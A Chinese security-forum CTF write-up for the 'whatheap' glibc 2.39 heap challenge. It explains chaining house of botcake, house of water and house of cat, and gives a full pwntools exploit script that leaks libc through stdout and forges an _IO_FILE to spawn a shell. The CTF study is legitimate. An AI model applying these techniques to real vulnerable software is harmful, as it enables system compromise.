首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
茶余饭后
发新帖
0
0
[原创]华为杯whatheap
发表于: 2026-3-14 17:25
1600
[原创]华为杯whatheap
shinobu
2026-3-14 17:25
1600
一道非常有意思的堆题,glibc 2.39的堆,保护全开,并且只给了add和free,没有show和edit 使用手法:house of water,house of botcake,house of cat 个人比赛中被泄露难倒了没做出来,赛后了解到house of water这个手法后才将其复现出来,不过就算知道house of water个人感觉这道题的堆风水还是很难的因为house of water的利用条件十分苛刻,而题目中只给了double free的原语,本人知道了house of water后在堆风水的布置这一块还是想了很久。 先看题目,典型的菜单堆,只有add和free,show函数是空的,gift给的东西完全没用  free后没有清空指针有double free  add 可以申请最多`0xff`个chunk,每个chunk最大大小为`0x888`,申请chunk后会给你机会从自定义的偏移开始写入一共有3次机会  很明显这道题的重点没有办法泄露libc,我们得通过某种手段改掉stdout才能完成泄露,而在高版本中能够在无libc的情况下完成这种任务的就只有`house of water`了(或许还有别的只是我不知道) house of water需要一共需要3点条件 1. 能够申请大量的chunk,使我们能够构造出大小为`0x10001`的fake chunk,这点题目已经满足 2. 在**unsorted start** 上的构造出一个`0x20`的chunk,在**unsorted end**的上方构造出一个`0x30`的chunk,并将这两个free掉 3. 利用UAF篡改**unsorted start 和 unsorted end的bk和fd指针的末字节,指向0x10001的fake chunk** 关于第二点我们很容易通过house of botcake手法构造堆重叠,通过精心计算将重叠的unsorted chunk分别割出`0x30和0x20`大小的chunk到**unsorted start**和**unsorted end**的头上,但是那块0x20大小chunk会带来问题,可以看到在割完后我们那块重叠的chunk的chunk头**在unsorted end的fd和bk的指针域上,而我们的0x20大小的chunk只能覆盖到unsorted end的chunk头,那么此时我们将无法修改unsorted end的指针域**,因为由于我们需要构造一个0x20大小的chunk在unsorted end头上,那块重叠的chunk的chunk头将不可避免落到unsorted end的指针域,导致我们无法满足第三点修改unsorted end的指针域  因此我们需要**使用两次house of botcake使得unsorted end与两个堆块重叠**,其中**一个堆块用来构造0x30和0x20大小的chunk**,**另一个堆块用来修改unsorted end和unsorted start的指针域**,具体而言我们通过第一次house of botcake构造出一次堆重叠,此时`0x820`大小chunk与unsorted bin中chunk构成了重叠  我们再使用这个在unsorted bin中chunk再用一次house of botcake进行第二次堆重叠   构造完成之后如图所示`0x5f98f80a56d0(0x821)`与`0x5f98f80a5b10(0x3e1)`重叠,而`0x5f98f80a5b10`又与`0x5f98f80a5d00(0x1f1)`重叠重叠,也就是说`0x5f98f80a5d00`与两个堆块发生了重叠,我们unsorted start, unsorted mid, unsorted mid都要放在`0x5f98f80a5d00`里面,然后可以使用两个重叠的堆块,一个用来构造0x30和0x20大小的chunk,另一个用来修改unsorted end和unsorted start的指针域  剩下的就是正常的house of water,去修改stdout,泄露完之后打house of cat ``` from pwn import* from LibcSearcher import* context(log_level='debug',arch='amd64',os='linux') io = process("./whatheap") libc=ELF("./libc.so.6") def add(size, content): io.recvuntil(b"Your choice >> ") io.sendline(b"1") io.recvuntil("Input the size of your chunk: ") io.sendline(str(size).encode()) io.recvuntil(b"do you want to play a game ?(1/0)") io.sendline(b"0") io.recvuntil(b"Input:") io.sendline(content) def add_offset(size, offset, content): io.recvuntil(b"Your choice >> ") io.sendline(b"1") io.recvuntil("Input the size of your chunk: ") io.sendline(str(size).encode()) io.recvuntil(b"do you want to play a game ?(1/0)") io.sendline(b"1") io.recvuntil(b"you can set a offset!") io.sendline(str(offset)) io.recvuntil(b"Input: ") io.sendline(content) def free(index): io.recvuntil(b"Your choice >> ") io.sendline(b"2") io.recvuntil(b"idx:") io.sendline(str(index).encode()) def new_add(size, content): io.recvuntil(b"Your choice >> ") io.sendline(b"1") io.recvuntil("Input the size of your chunk: ") io.sendline(str(size).encode()) io.recvuntil(b"Input:") io.sendline(content) add(0x3d8, b"a") # 0 add(0x3e8, b"a") # 1 free(0) free(1) for i in range(7): #1 + 7 add(0x400, b"a") add(0x400, b"a") # 0x9 add(0x400, b"a") # 0xa add(0x400, b"a") # 0xb for i in range(7): #2 + 6 free(i + 2) free(0xa) free(0x9) add(0x400, b"a") # 0xc free(0xa) add(0x810, b"a") # 0xd UAF chunk add(0x400, b"a") # 0xe free(0xb) free(0xe) add(0x20, b"a") # 0xf add(0x1e0, b"a") # 0x10 add(0x1e0, b"a") # 0x11 for i in range(8): # 0x11 + 8 add(0x1e0, b"a") for i in range(7): free(0x12 + i) free(0x11) free(0x10) add(0x1e0, b"a") # 0x1a free(0x11) add(0x3d0, b"a") # 0x1b add(0x3d0, b"a") # 0x1c UAF chunk 2 free(0x1b) add(0x1e0, b"a") # 0x1d free(0x1a) free(0x1d) add(0x80, b"a") # 0x1e unsorted start add(0x10, p64(0) * 2) # 0x1f add(0x80, b"a") # 0x20 unsorted mid add(0x10, p64(0) * 2) # 0x21 add(0x80, b"a") # 0x22 unsorted end free(0xd) add(0x610, b"a") # 0x23 add(0x20, p64(0) + p64(0x91)) # 0x24 0x30 chunk for unsorted start add(0x120, b"a") # 0x25 corrup chunk for unsorted mid add(0x10, p64(0) + p64(0x91)) # 0x26 0x20 chunk for unsorted end add(0x70, b"a") # 0x27 useless for i in range(0x3d): #padding add(0x2f0, b"a") #0x27 + 0x3d = 0x64 for i in range(0x7): #padding add(0x80, b"a") #0x64 + 0x7 = 0x6b add(0x318, b"\x00" * 0x300 + p64(0x10000) + p64(0x20)) #0x6c for i in range(0x7): free(0x65 + i) free(0x22) # free unsorted end free(0x20) # free unsorted mid free(0x1e) # free unsorted start free(0x24) # free 0x30 chunk for unsorted start free(0x26) # free 0x20 chunk for unsorted end free(0x1c) # free UAF chunk 2 #gdb.attach(io) add(0x3d0,b"\x00" * 0x1d0 + p64(0) + p64(0x31) + p64(0) + p64(0x91) + b"\x80" + b"\x10") # 0x6d # alloc UAF chunk 2 free(0x1c) # free UAF chunk 2 again add_offset(0x3d0, 0x340, p64(0) + p64(0x91)) # 0x6e # alloc UAF chunk 2 free(0x1c) # free UAF chunk 2 again add_offset(0x3d0, 0x358, b"\x80" + b"\x10") # 0x6f # alloc UAF chunk 2 #gdb.attach((io)) for i in range(7): # 0x6f + 7 = 0x76 add(0x400, b"a") #gdb.attach(io) add(0x500, b"\xc0" + b"\x45") # 0x77 add(0x10, p64(0xFBAD3887)) free(0x77) add(0x500, p64(0) +b"\xd0" + b"\x45") #gdb.attach(io) add_offset(0x20, 0x10, b"\x20" + b"\x3b") heap_addr = u64(io.recv(8)) io.recv(0x18) libc_base = u64(io.recv(0x8)) - 0x203b30 print("libc_addr:", hex(libc_base)) print("heap_addr:", hex(heap_addr)) IO_list_all = libc_base + libc.symbols["_IO_list_all"] system_addr = libc_base + libc.sym["system"] victim_heap = heap_addr - 0xfdf0 wide_file_jump = libc_base + libc.symbols["_IO_wfile_jumps"] + 0x30 free(0x24) #gdb.attach(io) free(0x77) #gdb.attach(io) new_add(0x500, p64(0) + p64(IO_list_all)) new_add(0x20, p64(victim_heap)) fake_wide_data_addr = victim_heap + 0x100 fake_file = b"/bin/sh\x00" + p64(0) * 3 + p64(0) + p64(1) fake_file = fake_file.ljust(0x88, b"\x00") + p64(victim_heap + 0x100) fake_file = fake_file.ljust(0xa0, b"\x00") + p64(victim_heap + 0x100) fake_file = fake_file.ljust(0xd8, b"\x00") + p64(wide_file_jump) fake_file = fake_file.ljust(0x100, b"\x00") fake_wide_data = p64(0) * 2 + p64(0) + p64(1) + p64(system_addr) fake_wide_data = fake_wide_data.ljust(0xe0, b"\x00") fake_wide_data += p64(fake_wide_data_addr + 0x8) # gdb.attach(io) new_add(0x3d0, fake_file + fake_wide_data) io.recvuntil(b"Your choice >> ") io.sendline(b"5") io.interactive() ``` 成功拿到shell 
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#杂谈
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
shinobu
1
发帖
3
回帖
0
RANK
关注
私信
他的文章
[原创]华为杯whatheap
1600
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部